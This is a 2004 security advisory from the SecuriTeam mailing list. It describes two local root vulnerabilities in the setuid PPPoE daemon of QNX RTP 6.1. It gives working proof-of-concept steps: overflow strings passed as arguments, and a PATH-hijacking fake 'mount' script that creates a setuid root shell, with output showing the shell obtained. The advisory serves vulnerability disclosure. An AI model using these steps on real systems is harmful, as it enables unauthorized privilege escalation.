[UNIX] QNX PPPoEd Local Root Vulnerabilities
From: SecuriTeam (support_at_securiteam.com)
Date: 09/06/04
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To: list@securiteam.com Date: 6 Sep 2004 11:44:03 +0200
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QNX PPPoEd Local Root Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://www.qnx.com/developers/docs/momentics621_docs/neutrino/utilities/p/pppoed.html> PPPoEd daemon is used to provide a PPPoE connection, such as DSL, for QNX users.
Two vulnerabilities that can lead to root compromise have been found in
QNX's PPPoE daemon.
DETAILS
Vulnerable Systems:
* QNX RTP version 6.1
The PPPoE daemon, when launched, can receive command line arguments. It
seems that there is hardly any bounds checking present when processing
arguments. Once it is by default suid owned by root, an attacker can
execute arbitrary instructions to elevate privileges. An example follows:
$ export overflow256='AAAAAAAAAAAAAAA(...)' (around 256 A's)
$ /usr/bin/pppoed -F $overflow256
Memory fault (core dumped)
$ /usr/bin/pppoed service=$overflow256
Memory fault (core dumped)
..
The same vulnerability also occurs when processing the following
arguments: 'name', 'en', 'upscript', 'downscript', 'retries', 'timeout',
'scriptdetach', 'noscript', 'nodetach', 'remote_mac' and 'local_mac'.
The second issue with PPPoEd is that it is possible to execute commands by
tricking PPPoEd. This can be done by altering the $PATH environment
variable since PPPoEd does not mount with a proper absolute path. It
attempts to execute 'mount -T io-net npm-pppoe.so'. When altering $PATH,
'/usr/sbin/pppoed' will simply execute 'mount' (hostile code) looking for
it at the /tmp directory. An example is in order:
$ cd /tmp
$ cat mount
#!/bin/sh
cp /bin/sh /tmp/rootshell
chown root /tmp/rootshell
chmod 4777 /tmp/rootshell
echo "Here comes your root shell"
_EOF_
And actually running PPPoE:
$ chmod 755 mount
$ export PATH=/tmp:$PATH
$ /usr/sbin/pppoed
$ ls -la /tmp
-rwxr-xr-x 1 sandimas users 88 Aug 25 2004 mount
-rwsrwxrwx 1 root 100 153384 Jun 22 2001 /tmp/rootshell
$ /tmp/rootshell
Here comes your root shell
# uname -a
QNX sandimas 6.1.0 2001/06/25-15:31:48 edt x86pc x86
#
Disclosure Timeline
27 Aug 2004 Vulnerabilities detected;
28 Aug - 01 Sep Looking for QNX security staff contact e-mail: no
success;
02 Sep 2004 Advisory written and sent to security mail-lists.
ADDITIONAL INFORMATION
The information has been provided by <mailto:julio@rfdslabs.br> Julio
Cesar Fort.
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